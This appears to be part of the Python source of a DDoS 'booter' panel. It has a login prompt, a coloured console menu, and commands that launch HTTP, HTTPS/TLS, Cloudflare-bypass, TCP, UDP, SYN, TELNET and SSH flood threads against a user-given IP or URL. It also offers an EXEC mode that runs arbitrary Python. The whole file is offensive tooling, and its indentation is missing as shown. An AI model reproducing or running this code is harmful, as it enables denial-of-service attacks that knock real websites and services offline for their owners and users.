print(f"""{fg(202)}╔═══{fg(208)}══════{fg(209)}══════════════{fg(210)}════════════╦═══{fg(211)}╗╗\n{fg(202)}║ {fg(112)}MENU {fg(113)}- {fg(114)}LIST {fg(115)}OF {fg(116)}COMMAND {fg(117)}- {fg(87)}MENU {fg(210)} ║ {fg(1)}X{fg(211)} ║║\n{fg(202)}╠══{fg(208)}═════{fg(209)}══════════════════════{fg(210)}══════╩═══{fg(211)}╣║\n{fg(202)}║ {fg(1)}━ {fg(9)}REQUIRES PARAMETER {fg(3)}- {fg(11)}NOT REQUIRES{fg(211)} ║║\n{fg(202)}╠════════{fg(208)}═══════════{fg(209)}════════{fg(210)}════════════{fg(211)}╣║\n{fg(202)}║ {fg(112)}HELP {fg(3)}- {fg(117)}For show some command. {fg(211)} ║║\n{fg(202)}║ {fg(113)}MENU {fg(3)}- {fg(116)}Return to main panel. {fg(211)} ║║\n{fg(202)}║ {fg(114)}PING {fg(3)}- {fg(115)}For check target. {fg(211)} ║║\n{fg(202)}║ {fg(115)}METHODS {fg(1)}━ {fg(114)}Show methods. {fg(211)} ║║\n{fg(202)}║ {fg(116)} STOP {fg(1)}- {fg(113)}For stop attack {fg(211)} ║║\n{fg(202)}║ {fg(117)} EXEC {fg(1)}- {fg(112)}For execute command. {fg(211)} ║║\n{fg(202)}║ {fg(118)}CLS {fg(3)}- {fg(111)}Clear console. {fg(211)} ║║\n{fg(202)}║ {fg(119)}EXIT {fg(1)}- {fg(110)}For exit this panel. {fg(211)} ║║\n{fg(202)}╚════{fg(208)}════════{fg(209)}═════════════{fg(210)}══════════{fg(211)}════╝╝{attr(0)}\n""")
elif mode == 'atk':
print(f"""{fg(41)}SEND {fg(42)}DOS {fg(43)}TO {fg(44)}TARGET {fg(45)}[{fg(196)}METHODS {fg(45)}- {fg(136)}{methods_load}{fg(45)}] {fg(80)}----> {fg(45)}({fg(214)}{target_load}{fg(80)}:{fg(184)}{port_load}{fg(45)}){attr(0)}""")
num_panel = False
def PANEL_USE():
global num_panel,target_load,port_load,methods_load,status_code,stop_command,useragent,cookie
if num_panel == False:
CLI_COLOR('loading')
clear_console()
CLI_COLOR('main_banner')
num_panel = True
console_prompt = input(f"{fg(115)}ROOT{fg(114)}@{fg(113)}ROOT {fg(112)}$ {attr(0)}")
arg_load = console_prompt.split(" ")
if arg_load[0] == 'HELP':
CLI_COLOR('help')
elif arg_load[0] == 'BANNER':
CLI_COLOR('banner')
elif arg_load[0] == 'CLS' or arg_load[0] == 'CLEAR':
clear_console()
elif arg_load[0] == 'MENU':
clear_console()
CLI_COLOR('main_banner')
elif arg_load[0] == 'METHODS':
if len(arg_load) == 2:
if arg_load[1].upper() == 'L7' or arg_load[1].upper() == 'LAYER7':
CLI_COLOR('l7')
else:
CLI_COLOR('l4')
else:
print(f"{fg(172)}METHODS {fg(173)}<{fg(174)}LAYER{fg(173)}>\n{fg(45)}[{fg(40)}Choose{fg(45)}] {fg(42)}LAYER4 {fg(44)}or {fg(43)}LAYER7{attr(0)}")
elif arg_load[0] == 'EXIT':
print(f"{fg(41)}EXITING {fg(42)}. . . .{attr(0)}")
try:
exit()
except:
sys.exit()
elif arg_load[0] == 'HTTP':
if len(arg_load) == 10:
data_type_loader_packet = arg_load[1].upper()
target_loader = str(arg_load[2]).lower()
port_loader = int(arg_load[3])
time_loader = time.time() + int(arg_load[4])
spam_loader = int(arg_load[5])
create_thread = int(arg_load[6])
booter_sent = int(arg_load[7])
methods_loader = arg_load[8]
spam_create_thread = int(arg_load[9])
code_leak = True
host = ''
ip = ''
try:
host = str(target_loader).replace("https://", "").replace("http://", "").replace("www.", "").replace("/", "")
ip = socket.gethostbyname(host)
code_leak = True
except socket.gaierror:
code_leak = False
print(f"{Fore.YELLOW}FAILED TO GET URL . . .{Fore.RESET}")
if code_leak == True:
threading.Thread(target=RUNING_HTTP,args=(create_thread,spam_create_thread,ip,host,port_loader,time_loader,spam_loader,methods_loader,booter_sent,data_type_loader_packet)).start()
status_code = True
target_load = ip
port_load = port_loader
methods_load = 'HTTP'
CLI_COLOR('atk')
else:
print(f"{fg(136)}! REQUIRE PARAMETER !{attr(0)}")
print(f"{Fore.RED}HTTP <TYPE_PACKET> <TARGET> <PORT> <TIME> {Fore.LIGHTRED_EX}<SPAM_THREAD> <CREATE_THREAD> <BOOTER_SENT> {Fore.WHITE}<HTTP_METHODS> <SPAM_CREATE>{Fore.RESET}")
print(f"{fg(154)}EXAMPLE USE --> HTTP {random.choice(('OWN1','TEST','OWN7','PYF'))} {fg(155)}http://{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)} {fg(156)}{random.randint(0,65535)} {fg(157)}{random.randint(1,9999999)} {fg(158)}{random.randint(1,9999999)} {fg(223)}{random.randint(1,9999999)} {fg(222)}{random.randint(1,9999999)} {fg(221)}{random.choice(('GATEWAY','OPTIONS','HEAD','POST','GET'))} {fg(220)}{random.randint(1,9999999)} {attr(0)}")
print(f"{Fore.CYAN}TYPE_PACKET --> {Fore.WHITE}[ {Fore.LIGHTBLUE_EX}PYF {Fore.WHITE}| TEST TEST2 TEST3 TEST4 TEST5 {Fore.WHITE}| {Fore.BLUE}OWN1 OWN2 OWN3 OWN4 OWN5 OWN6 OWN7 {Fore.WHITE}]\n {Fore.WHITE}[+] {Fore.LIGHTCYAN_EX}TIME (EXAMPLE=250)\n {Fore.WHITE}[+] {Fore.GREEN}SPAM_THREAD (EXAMPLE=299)\n {Fore.WHITE}[+] {Fore.LIGHTGREEN_EX}CREATE_THREAD (EXAMPLE=5)\n {Fore.WHITE}[+] {Fore.LIGHTYELLOW_EX}HTTP_METHODS (EXAMPLE=GATEWAY)\n {Fore.WHITE}[+] {Fore.YELLOW}SPAM_CREATE (EXAMPLE=15){Fore.RESET}")
elif arg_load[0] == 'HTTPS_TLS.MIX' or arg_load[0] == 'HTPMIX' or arg_load[0] == 'HTMIX':
if len(arg_load) == 5:
url = str(arg_load[1]).lower()
thread_loader = int(arg_load[2])
time_booter = int(arg_load[3])
mode_tls = str(arg_load[4])
target = get_target(url)
threading.Thread(target=RUNNING_HTTPS_ALL,args=('TLS_TEST',thread_loader,target,time_booter,mode_tls)).start()
target_load = target['host']
port_load = target['port']
methods_load = 'HTTPS_TLS.MIX'
CLI_COLOR('atk')
else:
print(f"{fg(136)}! REQUIRE PARAMETER ! {fg(196)}I need like this --> {fg(197)}TARGET {fg(198)}THREAD {fg(199)}TIME {fg(210)}HTTP_METHODS {attr(0)}")
print(f"{fg(154)}EXAMPLE USE {random.choice(('HTPMIX','HTTPS_TLS.MIX','HTMIX'))} {fg(155)}https://{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)} {fg(156)}{random.randint(1,9999999)} {fg(157)}{random.randint(1,9999999)} {fg(158)}{random.choice(('GATEWAY','OPTIONS','HEAD','POST','GET'))} {attr(0)}")
elif arg_load[0] == 'HTTPS_ALL' or arg_load[0] == 'HTPALL' or arg_load[0] == 'HTALL':
if len(arg_load) == 6:
url = str(arg_load[1]).lower()
thread_loader = int(arg_load[2])
time_booter = int(arg_load[3])
mode_tls = str(arg_load[4])
type_mode = str(arg_load[5])
target = get_target(url)
if type_mode == 0:
threading.Thread(target=RUNNING_HTTPS_ALL,args=('HTTPS_ALL',thread_loader,target,time_booter,mode_tls)).start()
else:
threading.Thread(target=RUNNING_HTTPS_ALL,args=('HTTPS_ALL2',thread_loader,target,time_booter,mode_tls)).start()
target_load = target['host']
port_load = target['port']
methods_load = f'HTTPS_ALL.{type_mode}'
CLI_COLOR('atk')
else:
print(f"{fg(136)}! REQUIRE PARAMETER ! {fg(196)}I need like this --> {fg(197)}TARGET {fg(198)}THREAD {fg(199)}TIME {fg(210)}HTTP_METHODS {fg(211)}MODE\n{fg(207)}MODE {fg(206)}OF {fg(205)}HTTPS_ALL {fg(204)}HERE {fg(202)}- {fg(70)}0 {fg(71)}IT {fg(72)}DEFAULT {fg(73)}MODE {fg(214)}( {fg(196)}OLD HTTPS_ALL {fg(214)}) {fg(45)}1{fg(44)} IT {fg(43)}NEW {fg(42)}MODE {fg(214)}( {fg(196)}NEW HTTPS_ALL {fg(214)})\n\n{fg(154)}EXAMPLE USE {random.choice(('HTPALL','HTTPS_ALL','HTALL'))} {fg(155)}https://{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)} {fg(156)}{random.randint(1,9999999)} {fg(157)}{random.randint(1,9999999)} {fg(158)}{random.choice(('GATEWAY','OPTIONS','HEAD','POST','GET'))} {random.choice(('0','1'))} {attr(0)}")
elif arg_load[0] == 'CF_UAM':
if len(arg_load) == 5:
target = arg_load[1]
thread_loader = int(arg_load[2])
time_booter = int(arg_load[3])
type_mode = str(arg_load[4])
r = requests.get(target)
if '<title>Just a moment...</title>' in r.text:
print("TRYING BYPASS")
if get_cookie(target) == True:
print("! BYPASS !")
target = get_target(target)
threading.Thread(target=CF_UAM_RUNNING(time_booter, target, type_mode,cookie,useragent,thread_loader)).start()
target_load = target['host']
port_load = target['port']
methods_load = f'CF-UAM'
CLI_COLOR('atk')
else:
print("CF_UAM <TARGET> <THREAD> <TIME> <METHODS>")
elif arg_load[0] == 'HTPTC' or arg_load[0] == 'HTPC' or arg_load[0] == 'HTTPS_TLS.CIPHER':
if len(arg_load) == 5:
url = str(arg_load[1]).lower()
thread_loader = int(arg_load[2])
time_booter = int(arg_load[3])
mode_tls = str(arg_load[4])
target = get_target(url)
threading.Thread(target=RUNNING_HTTPS_ALL,args=('SSL_LOAD',thread_loader,target,time_booter,mode_tls)).start()
target_load = target['host']
port_load = target['port']
methods_load = 'HTTPS_TLS.CIPHER'
CLI_COLOR('atk')
else:
print(f"{fg(136)}! REQUIRE PARAMETER ! {fg(196)}I need like this --> {fg(197)}TARGET {fg(198)}THREAD {fg(199)}TIME {fg(210)}HTTP_METHODS {attr(0)}")
print(f"{fg(154)}EXAMPLE USE {random.choice(('HTPC','HTTPS_TLS.CIPHER','HTPTC'))} {fg(155)}https://{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)} {fg(156)}{random.randint(1,9999999)} {fg(157)}{random.randint(1,9999999)} {fg(158)}{random.choice(('GATEWAY','OPTIONS','HEAD','POST','GET'))} {attr(0)}")
elif arg_load[0] == 'HTPSRE' or arg_load[0] == 'HTTPS_RECREATE':
if len(arg_load) == 5:
url = str(arg_load[1]).lower()
thread_loader = int(arg_load[2])
time_booter = int(arg_load[3])
mode_tls = str(arg_load[4])
target = get_target(url)
threading.Thread(target=RUNNING_HTTPS_ALL,args=('RECREATE_HTTPS',thread_loader,target,time_booter,mode_tls)).start()
target_load = target['host']
port_load = target['port']
methods_load = 'HTTPS_RECREATE'
CLI_COLOR('atk')
else:
print(f"{fg(136)}! REQUIRE PARAMETER ! {fg(196)}I need like this --> {fg(197)}TARGET {fg(198)}THREAD {fg(199)}TIME {fg(210)}HTTP_METHODS {attr(0)}")
print(f"{fg(154)}EXAMPLE USE {random.choice(('HTTPS_RECREATE','HTPSRE'))} {fg(155)}https://{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)} {fg(156)}{random.randint(1,9999999)} {fg(157)}{random.randint(1,9999999)} {fg(158)}{random.choice(('GATEWAY','OPTIONS','HEAD','POST','GET'))} {attr(0)}")
elif arg_load[0] == 'SOCKS_CFLOW' or arg_load[0] == 'SCFL':
if len(arg_load) == 5:
url = str(arg_load[1]).lower()
thread_loader = int(arg_load[2])
time_booter = int(arg_load[3])
mode_tls = str(arg_load[4])
target = get_target(url)
threading.Thread(target=RUNNING_HTTPS_ALL,args=('SOCKS_CFLOW',thread_loader,target,time_booter,mode_tls)).start()
target_load = target['host']
port_load = target['port']
methods_load = 'SOCKS_CFLOW'
CLI_COLOR('atk')
else:
print(f"{fg(136)}! REQUIRE PARAMETER ! {fg(196)}I need like this --> {fg(197)}TARGET {fg(198)}THREAD {fg(199)}TIME {fg(210)}HTTP_METHODS {attr(0)}")
print(f"{fg(154)}EXAMPLE USE {random.choice(('SOCKS_CFLOW','SCFL'))} {fg(155)}https://{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)} {fg(156)}{random.randint(1,9999999)} {fg(157)}{random.randint(1,9999999)} {fg(158)}{random.choice(('GATEWAY','OPTIONS','HEAD','POST','GET'))} {attr(0)}")
elif arg_load[0] == 'TCP':
if len(arg_load) ==7:
ip = str(arg_load[1])
port = int(arg_load[2])
time_secs = int(arg_load[3])
spam_send = int(arg_load[4])
booter = int(arg_load[5])
size = int(arg_load[6])
threading.Thread(target=RUNNING_TCP,args=(ip,port,time_secs,spam_send,booter,size)).start()
target_load = ip
port_load = port
methods_load = 'TCP'
CLI_COLOR('atk')
else:
print(f'{fg(82)}HIT {fg(83)}200+ {fg(82)}MB {fg(84)}PUT {fg(85)}89999 {fg(86)}IN {fg(87)}SIZE {fg(70)}( {fg(196)}SUPPORT {fg(197)}ONLY {fg(198)}CLOUDSHELL {fg(70)})\n{fg(202)}TCP {fg(203)}<IP> {fg(204)}<PORT> {fg(205)}<TIME> {fg(206)}<SPAM_SEND> {fg(207)}<BOOTER> {fg(213)}<SIZE>{attr(0)}')
elif arg_load[0] == 'TUP':
if len(arg_load) ==8:
ip = str(arg_load[1])
port = int(arg_load[2])
time_secs = int(arg_load[3])
spam_send = int(arg_load[4])
booter = int(arg_load[5])
size_tcp = int(arg_load[6])
size_udp = int(arg_load[7])
threading.Thread(target=RUNNING_TCP,args=(ip,port,time_secs,spam_send,booter,size_tcp)).start()
threading.Thread(target=RUNING_UDP_ATTACK,args=(ip,port,time_secs,booter,size_udp)).start()
target_load = ip
port_load = port
methods_load = 'TUP'
CLI_COLOR('atk')
else:
print(f'{fg(70)}NEED {fg(71)}TEST {fg(72)}( {fg(196)}SUPPORT {fg(197)}ONLY {fg(198)}CLOUDSHELL {fg(72)})\n{fg(172)}TCP {fg(173)}<IP> {fg(174)}<PORT> {fg(175)}<TIME> {fg(176)}<SPAM_SEND> {fg(177)}<BOOTER> {fg(207)}<SIZE TCP> {fg(213)}<SIZE UDP>{attr(0)}')
elif arg_load[0] == 'SYN':
if len(arg_load) == 5:
ip = str(arg_load[1])
port = int(arg_load[2])
time_null = int(arg_load[3])
booter = int(arg_load[4])
threading.Thread(target=RUNNING_SYN,args=(ip,port,time_null,booter)).start()
target_load = ip
port_load = port
methods_load = 'SYN'
CLI_COLOR('atk')
else:
print(f'{fg(70)}HIT {fg(73)}3 {fg(70)}MB {fg(72)}( {fg(196)}SUPPORT {fg(197)}ONLY {fg(198)}CLOUDSHELL {fg(72)})\n{fg(172)}SYN {fg(173)}<IP> {fg(174)}<PORT> {fg(175)}<TIME> {fg(176)}<BOOTER>{attr(0)}')
elif arg_load[0] == 'UDP':
if len(arg_load) == 6:
ip = str(arg_load[1])
port = int(arg_load[2])
time_null = int(arg_load[3])
booter = int(arg_load[4])
size = int(arg_load[5])
threading.Thread(target=RUNING_UDP_ATTACK,args=(ip,port,time_null,booter,size)).start()
target_load = ip
port_load = port
methods_load = 'UDP'
CLI_COLOR('atk')
else:
print(f'{fg(40)}HIT {fg(41)}890+ {fg(42)}MB {fg(43)}PUT {fg(44)}64999 {fg(45)}IN {fg(50)}SIZE {fg(51)}( SUPPORT ONLY CLOUDSHELL )\n{fg(196)}UDP {fg(197)}<IP> {fg(198)}<PORT> {fg(199)}<TIME> {fg(200)}<BOOTER> {fg(201)}<SIZE>{attr(0)}')
elif arg_load[0] == 'TELNET':
if len(arg_load) == 6:
IP = str(arg_load[1])
PORT = int(arg_load[2])
TIME = int(arg_load[3])
BOOTER = int(arg_load[4])
SIZE = int(arg_load[5])
threading.Thread(target=atk_telnet,args=(IP,PORT,TIME,BOOTER,SIZE)).start()
target_load = IP
port_load = PORT
methods_load = 'TELNET'
CLI_COLOR('atk')
else:
print(f'{fg(196)}TELNET {fg(197)}<IP> {fg(198)}<PORT> {fg(199)}<TIME> {fg(200)}<BOOTER> {fg(201)}<SIZE>{attr(0)}')
elif arg_load[0] == 'SSH':
if len(arg_load) == 8:
IP = str(arg_load[1])
PORT = int(arg_load[2])
TIME = int(arg_load[3])
SIZE = int(arg_load[4])
BOOTER = int(arg_load[5])
THR_C = int(arg_load[6])
CREATE_PACKET = int(arg_load[7])
target_load = IP
port_load = PORT
methods_load = 'SSH'
CLI_COLOR('atk')
for _ in range(CREATE_PACKET):
if stop_command:
break
threading.Thread(target=FLOODING,args=(IP,PORT,TIME,SIZE,BOOTER,THR_C)).start()
else:
print(f'{fg(196)}SSH {fg(197)}<IP> {fg(198)}<PORT> {fg(199)}<TIME> {fg(200)}<SIZE> {fg(201)}<BOOTER> {fg(202)}<THREAD> {fg(203)}<CREATE>{attr(0)}')
print(f'{fg(70)}BETTER {fg(71)}SIZE {fg(72)}IT {fg(73)}200000{attr(0)}')
elif arg_load[0] == 'EXEC':
mode_attack = input("LOAD SCRIPT (FILES or INPUT) $").upper()
if mode_attack == 'INPUT':
num_line = 0
print(f"WELCOME TO EXECUTE_COMMAND.MOD ( Type ^ for exit )")
print("you can't use exit() for exit")
while True:
try:
SCRIPT_PY = input(f"[{num_line}] ")
if SCRIPT_PY == '^':
print(f"[{num_line}] EXITING From EXEC_COMMAND.MOD !")
break
else:
num_line += 1
exec(SCRIPT_PY)
except Exception as e:
print(F"[ERROR] {e}")
except BaseException as e:
print(F"[BASE - ERROR] {e}")
else:
try:
print("EXAMPLE C:\\Users\\ROOT\\Desktop\\script.py")
files_get = input("PATH FILES ?")
mode_files_open = input("YOU SCRIPT USE (READ or READBYTES) $")
if mode_files_open == 'READ' or mode_files_open == 'R':
SCRIPT_PY = FILES_MAKER(files_get,'R',0)
else:
SCRIPT_PY = FILES_MAKER(files_get,'RB',0)
exec(SCRIPT_PY)
except Exception as e:
print(F"[ERROR] {e}")
except BaseException as e:
print(F"[BASE - ERROR] {e}")
elif arg_load[0] == 'STOP':
if stop_command == True:
print(f'{fg(40)}STOP {fg(41)}ATTACK {fg(42)}IT {fg(43)}FALSE{attr(0)}')
stop_command = False
else:
print(f'{fg(202)}STOP {fg(203)}ATTACK {fg(204)}IT {fg(205)}TRUE{attr(0)}')
stop_command = True
elif arg_load[0] == 'PING':
methods_type = input(f"{Fore.GREEN}MODE_PING {Fore.WHITE}({Fore.YELLOW}l4{Fore.WHITE},{Fore.LIGHTYELLOW_EX}l7{Fore.WHITE}) ${Fore.RESET}")
if methods_type.upper() == 'L7' or methods_type.upper() == 'LAYER7' or methods_type.upper() == '7':
tar = str(input(f"{Fore.CYAN}URL {Fore.WHITE}${Fore.RESET}"))
try:
r = requests.get(url=tar)
print(f"{fg(34)}CONNECTION {fg(35)}STATUS_CODE={r.status_code} {fg(36)}REASON={r.reason}{attr(0)}")
except:
print(f"{fg(196)}CONNECTION {fg(197)}STATUS_CODE=NULL {fg(198)}REASON=NULL{attr(0)}")
pass
else:
status_code_tcp = False
IP = str(input(f'{Fore.LIGHTBLUE_EX}IP ${Fore.RESET}'))
PORT = int(input(f'{Fore.BLUE}PORT ${Fore.RESET}'))
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PORT))
s.send('HI?'.encode())
d = s.recv(9999999)
status_code_tcp = True
except:
status_code_tcp = False
if status_code_tcp == True:
print(f"{Fore.GREEN}CONNECTION=OK {Fore.LIGHTGREEN_EX}DATA_RECV={d.decode()}{Fore.RESET}")
else:
print(f"{Fore.RED}CONNECTION=NO {Fore.LIGHTRED_EX}DATA_RECV=NULL{Fore.RESET}")
else:
print(f"{fg(196)}{console_prompt} NOT FOUND COMMAND ! {attr(0)}")
PANEL_USE()
# NULL FIX
def checker_login():
global username,password
clear_console()
print(f"{Fore.YELLOW}USER - ROOT {Fore.LIGHTYELLOW_EX}PASSWORD - ROOT{Fore.RESET}")
time.sleep(0.5)
username = input(f"{Fore.CYAN}USERNAME {Fore.WHITE}${Fore.RESET}")
time.sleep(0.5)
password = input(f"{Fore.BLUE}PASSWORD {Fore.WHITE}${Fore.RESET}")
time.sleep(0.5)
print(F"{Fore.BLUE}LOGIN TO PANEL {Fore.WHITE}({Fore.LIGHTBLUE_EX}TRYING LOGIN WITH {username}@{password}{Fore.WHITE}) . . .{Fore.RESET}")
time.sleep(int(random.randint(1,3)))
if login_checker(username,password) == True:
print(f"{Fore.CYAN}PANEL LOADING . . .{Fore.RESET}")
time.sleep(1)
clear_console()
PANEL_USE()
elif login_checker(username,password) == 'UNKNOWN ERROR ARE RETURNING BY FILESNOTFOUND':
print(f"{Fore.RED}UNKNOWN ERROR OF FILES 'login.txt'{Fore.RESET}")
FILES_MAKER(os.path.join(os.path.dirname(__file__),'logs.txt'),'A',f'[failed] {GET_TIME()} - NOT FOUND login.txt/logins.txt\n')
time.sleep(1)
checker_login()
else:
FILES_MAKER(os.path.join(os.path.dirname(__file__),'logs.txt'),'A',f"[failed] {GET_TIME()} - CAN'T LOGIN \n")
print(f"{Fore.RED}FAILED {Fore.YELLOW}LOGIN . . .{Fore.RESET}")
time.sleep(1)
checker_login()